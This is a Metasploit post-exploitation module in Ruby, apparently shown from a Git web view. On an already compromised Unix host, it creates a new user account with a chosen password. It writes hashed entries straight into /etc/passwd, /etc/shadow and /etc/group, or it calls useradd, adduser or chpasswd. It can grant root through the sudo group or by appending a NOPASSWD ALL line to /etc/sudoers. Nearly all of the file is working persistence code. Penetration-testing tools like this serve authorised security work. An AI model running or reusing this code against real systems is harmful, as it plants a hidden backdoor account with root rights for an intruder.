311 lines
14 KiB
Ruby
311 lines
14 KiB
Ruby
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
require 'unix_crypt'
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::File
|
|
include Msf::Post::Unix
|
|
include Msf::Post::Linux::System
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Add a new user to the system',
|
|
'Description' => %q{
|
|
This command adds a new user to the system
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['Nick Cottrell <ncottrellweb[at]gmail.com>'],
|
|
'Platform' => ['linux', 'unix', 'bsd', 'aix', 'solaris'],
|
|
'Privileged' => false,
|
|
'SessionTypes' => %w[meterpreter shell],
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [],
|
|
'SideEffects' => [CONFIG_CHANGES]
|
|
}
|
|
)
|
|
)
|
|
register_options([
|
|
OptString.new('USERNAME', [ true, 'The username to create', 'metasploit' ]),
|
|
OptString.new('PASSWORD', [ true, 'The password for this user', 'Metasploit$1' ]),
|
|
OptString.new('SHELL', [true, 'Set the shell that the new user will use', '/bin/sh']),
|
|
OptString.new('HOME', [true, 'Set the home directory of the new user. Leave empty if user will have no home directory', '']),
|
|
OptString.new('GROUPS', [false, 'Set what groups the new user will be part of separated with a space'])
|
|
])
|
|
|
|
register_advanced_options([
|
|
OptEnum.new('UseraddMethod', [true, 'Set how the module adds in new users and groups. AUTO will autodetect how to add new users, MANUAL will add users without any binaries, and CUSTOM will attempt to use a custom designated binary', 'AUTO', ['AUTO', 'MANUAL', 'CUSTOM']]),
|
|
OptString.new('UseraddBinary', [false, 'Set binary used to set password if you dont want module to find it for you.'], conditions: %w[UseraddMethod == CUSTOM]),
|
|
OptEnum.new('SudoMethod', [true, 'Set the method that the new user can obtain root. SUDO_FILE adds the user directly to sudoers while GROUP adds the new user to the sudo group', 'GROUP', ['SUDO_FILE', 'GROUP', 'NONE']]),
|
|
OptEnum.new('MissingGroups', [true, 'Set how nonexisting groups are handled on the system. Either give an error in the module, ignore it and throw it out, or create the group on the system.', 'ERROR', ['ERROR', 'IGNORE', 'CREATE']]),
|
|
OptEnum.new('PasswordHashType', [true, 'Set the hash method your password will be encrypted in.', 'MD5', ['DES', 'MD5', 'SHA256', 'SHA512']])
|
|
])
|
|
end
|
|
|
|
# Checks if the given group exists within the system
|
|
def check_group_exists?(group_name, group_data)
|
|
return group_data =~ /^#{Regexp.escape(group_name)}:/
|
|
end
|
|
|
|
# Checks if the specified command can be executed by the session. It should be
|
|
# noted that not all commands correspond to a binary file on disk. For example,
|
|
# a bash shell session will provide the `eval` command when there is no `eval`
|
|
# binary on disk. Likewise, a Powershell session will provide the `Get-Item`
|
|
# command when there is no `Get-Item` executable on disk.
|
|
#
|
|
# @param [String] cmd the command to check
|
|
# @return [Boolean] true when the command exists
|
|
def check_command_exists?(cmd)
|
|
command_exists?(cmd)
|
|
rescue RuntimeError => e
|
|
fail_with(Failure::Unknown, "Unable to check if command `#{cmd}' exists: #{e}")
|
|
end
|
|
|
|
def d_cmd_exec(command)
|
|
vprint_status(command)
|
|
print_line(cmd_exec(command))
|
|
end
|
|
|
|
# Produces an altered copy of the group file with the user added to each group
|
|
def fs_add_groups(group_file, groups)
|
|
groups.each do |group|
|
|
# Add user to group if there are other users
|
|
group_file = group_file.gsub(/^(#{group}:[^:]*:[0-9]+:.+)$/, "\\1,#{datastore['USERNAME']}")
|
|
# Add user to group of no users belong to that group yet
|
|
group_file = group_file.gsub(/^(#{group}:[^:]*:[0-9]+:)$/, "\\1#{datastore['USERNAME']}")
|
|
end
|
|
if datastore['MissingGroups'] == 'CREATE'
|
|
new_groups = get_missing_groups(group_file, groups)
|
|
new_groups.each do |group|
|
|
gid = rand(1000..2000).to_s
|
|
group_file += "\n#{group}:x:#{gid}:#{datastore['USERNAME']}\n"
|
|
print_good("Added #{group} group")
|
|
end
|
|
end
|
|
group_file.gsub(/\n{2,}/, "\n")
|
|
end
|
|
|
|
# Provides a list of groups that arent already on the system
|
|
def get_missing_groups(group_file, groups)
|
|
groups.reject { |group| check_group_exists?(group, group_file) }
|
|
end
|
|
|
|
# Finds out what platform the module is running on. It will attempt to access
|
|
# the Hosts database before making more noise on the target to learn more
|
|
def os_platform
|
|
if session.type == 'meterpreter'
|
|
sysinfo['OS']
|
|
elsif active_db? && framework.db.workspace.hosts.where(address: session.session_host)&.first&.os_name
|
|
host = framework.db.workspace.hosts.where(address: session.session_host).first
|
|
if host.os_name == 'linux' && host.os_flavor
|
|
host.os_flavor
|
|
else
|
|
host.os_name
|
|
end
|
|
else
|
|
get_sysinfo[:distro]
|
|
end
|
|
end
|
|
|
|
# Validates the groups given to it. Depending on datastore settings, it will
|
|
# give a trimmed down list of the groups given to it, and ensure that all
|
|
# groups returned exist on the system.
|
|
def validate_groups(group_file, groups)
|
|
groups = groups.uniq
|
|
|
|
# Check that group names are valid
|
|
invalid = groups.filter { |group| group !~ /^[a-zA-Z0-9_.][a-zA-Z0-9_.-]{0,30}[a-zA-Z0-9_.$-]?$/ }
|
|
if invalid.any? && datastore['MissingGroups'] == 'IGNORE'
|
|
groups -= invalid
|
|
vprint_error("The groups [#{invalid.join(' ')}] do not fit accepted characters for groups. Ignoring them instead.")
|
|
elsif invalid.any?
|
|
# Give error even on create, as creating this group will cause errors
|
|
fail_with(Failure::BadConfig, "groups [#{invalid.join(' ')}] Do not fit the authorized regex for groups. Check your groups against this regex /^[a-zA-Z0-9_.][a-zA-Z0-9_.-]{0,30}[a-zA-Z0-9_.$-]?$/")
|
|
end
|
|
|
|
# Check to see that groups exist or fail
|
|
groups_missing = get_missing_groups(group_file, groups)
|
|
unless groups_missing.empty?
|
|
if datastore['MissingGroups'] == 'ERROR'
|
|
fail_with(Failure::NotFound, "groups [#{groups_missing.join(' ')}] do not exist on the system. Change the `MissingGroups` Option to deal with errors automatically")
|
|
end
|
|
print_warning("Groups [#{groups_missing.join(' ')}] do not exist on system")
|
|
if datastore['MissingGroups'] == 'IGNORE'
|
|
groups -= groups_missing
|
|
print_good("Removed #{groups_missing.join(' ')} from target groups")
|
|
end
|
|
end
|
|
|
|
groups
|
|
end
|
|
|
|
# Takes all the groups given and attempts to add them to the system
|
|
def create_new_groups(groups)
|
|
# Since command can add on groups, checking over groups
|
|
groupadd = check_command_exists?('groupadd') ? 'groupadd' : nil
|
|
groupadd ||= 'addgroup' if check_command_exists?('addgroup')
|
|
fail_with(Failure::NotFound, 'Neither groupadd nor addgroup exist on the system. Try running with UseraddMethod as MANUAL to get around this issue') unless groupadd
|
|
|
|
groups.each do |group|
|
|
d_cmd_exec("#{groupadd} #{group}")
|
|
print_good("Added #{group} group")
|
|
end
|
|
end
|
|
|
|
def run
|
|
fail_with(Failure::NoAccess, 'Session isnt running as root') unless is_root?
|
|
case datastore['UseraddMethod']
|
|
when 'CUSTOM'
|
|
fail_with(Failure::NotFound, "Cannot find command on path given: #{datastore['UseraddBinary']}") unless check_command_exists?(datastore['UseraddBinary'])
|
|
when 'AUTO'
|
|
fail_with(Failure::NotVulnerable, 'Cannot find a means to add a new user') unless check_command_exists?('useradd') || check_command_exists?('adduser')
|
|
end
|
|
fail_with(Failure::NotVulnerable, 'Cannot add user to sudo as sudoers doesnt exist') unless datastore['SudoMethod'] != 'SUDO_FILE' || file_exist?('/etc/sudoers')
|
|
fail_with(Failure::NotFound, 'Shell specified does not exist on system') unless check_command_exists?(datastore['SHELL'])
|
|
fail_with(Failure::BadConfig, "Username [#{datastore['USERNAME']}] is not a legal unix username.") unless datastore['USERNAME'] =~ /^[a-z][a-z0-9_-]{0,31}$/
|
|
|
|
# Encrypting password ahead of time
|
|
passwd = case datastore['PasswordHashType']
|
|
when 'DES'
|
|
UnixCrypt::DES.build(datastore['PASSWORD'])
|
|
when 'MD5'
|
|
UnixCrypt::MD5.build(datastore['PASSWORD'])
|
|
when 'SHA256'
|
|
UnixCrypt::SHA256.build(datastore['PASSWORD'])
|
|
when 'SHA512'
|
|
UnixCrypt::SHA512.build(datastore['PASSWORD'])
|
|
end
|
|
|
|
# Adding sudo to groups if method is set to use groups
|
|
groups = datastore['GROUPS']&.split || []
|
|
groups += ['sudo'] if datastore['SudoMethod'] == 'GROUP'
|
|
group_file = read_file('/etc/group').to_s
|
|
groups = validate_groups(group_file, groups)
|
|
|
|
# Creating new groups if it was set and isnt manual
|
|
if groups.any? && datastore['MissingGroups'] == 'CREATE' && datastore['UseraddMethod'] != 'MANUAL'
|
|
create_new_groups(get_missing_groups(group_file, groups))
|
|
end
|
|
|
|
# Automatically ignore setting groups if added additional groups is empty
|
|
groups_handled = groups.empty?
|
|
|
|
# Check database to see what OS it is. If it meets specific requirements, This can all be done in a single line
|
|
binary = case datastore['UseraddMethod']
|
|
when 'AUTO'
|
|
if check_command_exists?('useradd')
|
|
'useradd'
|
|
elsif check_command_exists?('adduser')
|
|
'adduser'
|
|
else
|
|
'MANUAL'
|
|
end
|
|
when 'MANUAL'
|
|
'MANUAL'
|
|
when 'CUSTOM'
|
|
datastore['UseraddBinary']
|
|
end
|
|
case binary
|
|
when /useradd$/
|
|
print_status("Running on #{os_platform}")
|
|
print_status('Useradd exists. Using that')
|
|
case os_platform
|
|
when /debian|ubuntu|fedora|centos|oracle|redhat|arch|suse|gentoo/i
|
|
homedirc = datastore['HOME'].empty? ? '--no-create-home' : "--home-dir #{datastore['HOME']}"
|
|
|
|
# Since command can add on groups, checking over groups
|
|
groupsc = groups.empty? ? '' : "--groups #{groups.join(',')}"
|
|
|
|
# Finally run it
|
|
d_cmd_exec("#{binary} --password \'#{passwd}\' #{homedirc} #{groupsc} --shell #{datastore['SHELL']} --no-log-init #{datastore['USERNAME']}".gsub(/ {2,}/, ' '))
|
|
groups_handled = true
|
|
else
|
|
vprint_status('Unsure what platform we\'re on. Using useradd in most basic/common settings')
|
|
|
|
# Finally run it
|
|
d_cmd_exec("#{binary} #{datastore['USERNAME']} | echo")
|
|
d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e")
|
|
end
|
|
when /adduser$/
|
|
print_status("Running on #{os_platform}")
|
|
print_status('Adduser exists. Using that')
|
|
case os_platform
|
|
when /debian|ubuntu/i
|
|
print_warning('Adduser cannot add groups to the new user automatically. Going to have to do it at a later step')
|
|
homedirc = datastore['HOME'].empty? ? '--no-create-home' : "--home #{datastore['HOME']}"
|
|
|
|
d_cmd_exec("#{binary} --disabled-password #{homedirc} --shell #{datastore['SHELL']} #{datastore['USERNAME']} | echo")
|
|
d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e")
|
|
when /fedora|centos|oracle|redhat/i
|
|
homedirc = datastore['HOME'].empty? ? '--no-create-home' : "--home-dir #{datastore['HOME']}"
|
|
|
|
# Since command can add on groups, checking over groups
|
|
groupsc = groups.empty? ? '' : "--groups #{groups.join(',')}"
|
|
|
|
# Finally run it
|
|
d_cmd_exec("#{binary} --password \'#{passwd}\' #{homedirc} #{groupsc} --shell #{datastore['SHELL']} --no-log-init #{datastore['USERNAME']}".gsub(/ {2,}/, ' '))
|
|
groups_handled = true
|
|
when /alpine/i
|
|
print_warning('Adduser cannot add groups to the new user automatically. Going to have to do it at a later step')
|
|
homedirc = datastore['HOME'].empty? ? '-H' : "-h #{datastore['HOME']}"
|
|
|
|
d_cmd_exec("#{binary} -D #{homedirc} -s #{datastore['SHELL']} #{datastore['USERNAME']}")
|
|
d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e")
|
|
else
|
|
print_status('Unsure what platform we\'re on. Using useradd in most basic/common settings')
|
|
|
|
# Finally run it
|
|
d_cmd_exec("#{binary} #{datastore['USERNAME']}")
|
|
d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e")
|
|
end
|
|
when datastore['UseraddBinary']
|
|
print_status('Running with command supplied')
|
|
d_cmd_exec("#{binary} #{datastore['USERNAME']}")
|
|
d_cmd_exec("echo \'#{datastore['USERNAME']}:#{passwd}\'|chpasswd -e")
|
|
else
|
|
# Checking that user doesnt already exist
|
|
fail_with(Failure::BadConfig, 'User already exists') if read_file('/etc/passwd') =~ /^#{datastore['USERNAME']}:/
|
|
|
|
# Run adding user manually if set
|
|
home = datastore['HOME'].empty? ? "/home/#{datastore['USERNAME']}" : datastore['HOME']
|
|
uid = rand(1000..2000).to_s
|
|
append_file('/etc/passwd', "#{datastore['USERNAME']}:x:#{uid}:#{uid}::#{home}:#{datastore['SHELL']}\n")
|
|
vprint_status("\'#{datastore['USERNAME']}:x:#{uid}:#{uid}::#{home}:#{datastore['SHELL']}\' >> /etc/passwd")
|
|
append_file('/etc/shadow', "#{datastore['USERNAME']}:#{passwd}:#{Time.now.to_i / 86400}:0:99999:7:::\n")
|
|
vprint_status("\'#{datastore['USERNAME']}:#{passwd}:#{Time.now.to_i / 86400}:0:99999:7:::\' >> /etc/shadow")
|
|
|
|
altered_group_file = fs_add_groups(group_file, groups)
|
|
write_file('/etc/group', altered_group_file) unless group_file == altered_group_file
|
|
|
|
groups_handled = true
|
|
end
|
|
|
|
# Adding in groups and connecting if not done already
|
|
unless groups_handled
|
|
# Attempt to do add groups to user by normal means, or do it manually
|
|
if check_command_exists?('usermod')
|
|
d_cmd_exec("usermod -aG #{groups.join(',')} #{datastore['USERNAME']}")
|
|
elsif check_command_exists?('addgroup')
|
|
groups.each do |group|
|
|
d_cmd_exec("addgroup #{datastore['USERNAME']} #{group}")
|
|
end
|
|
else
|
|
print_error("Couldnt find \'usermod\' nor \'addgroup\' on the target. User [#{datastore['USERNAME']}] couldnt be linked to groups.")
|
|
end
|
|
end
|
|
|
|
# Adding user to sudo file if specified
|
|
if datastore['SudoMethod'] == 'SUDO_FILE' && file_exist?('/etc/sudoers')
|
|
append_file('/etc/sudoers', "#{datastore['USERNAME']} ALL=(ALL:ALL) NOPASSWD: ALL\n")
|
|
print_good("Added [#{datastore['USERNAME']}] to /etc/sudoers successfully")
|
|
end
|
|
rescue Msf::Exploit::Failed
|
|
print_warning("The module has failed to add the new user [#{datastore['USERNAME']}]!")
|
|
print_warning('Groups that were created need to be removed from the system manually.')
|
|
raise
|
|
end
|
|
end
|